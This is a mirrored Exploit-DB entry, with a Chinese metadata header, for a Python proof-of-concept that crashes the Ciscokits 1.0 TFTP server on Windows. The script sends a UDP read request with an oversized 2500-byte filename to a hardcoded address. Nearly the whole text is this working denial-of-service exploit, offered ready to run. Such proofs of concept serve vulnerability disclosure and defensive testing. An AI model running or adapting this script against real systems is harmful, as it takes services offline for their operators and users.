Ciscokits 1.0 – TFTP Server File Name Denial of Service - 体验盒子

作者： Craig Freyman

日期： 2011-07-25

类别：

dos

平台：

windows

来源：https://www.exploit-db.com/exploits/17569/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

#!/usr/bin/python

#Title: Ciscokits 1.0 TFTP Long Filename DoS

#Author: Craig Freyman (@cd1zz)

#Date: July 22, 2011

#Software Link: http://www.certificationkits.com/tftpserver/tftpserver.zip

#Tested on: Windows XP SP3

#Vendor notified: July 22, 2010 - Vendor approved release of PoC on July 23, 2010.

#Notes: When a long file name read request is made the CPU will spike

#and within about 20 seconds the TFTP service will crash.

import socket,sys,time

host = '192.168.133.128'

port = 69

try:

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

except:

print "socket() failed"

sys.exit(1)

crash = "\x41" * 2500

mode = "netascii"

files = "a"

print "File name READ crash"

#seems to only work on a READ command = x01

pwned = "\x00\x01" + crash + "\0" + mode + "\0"

s.sendto(pwned, (host, port))

time.sleep(2)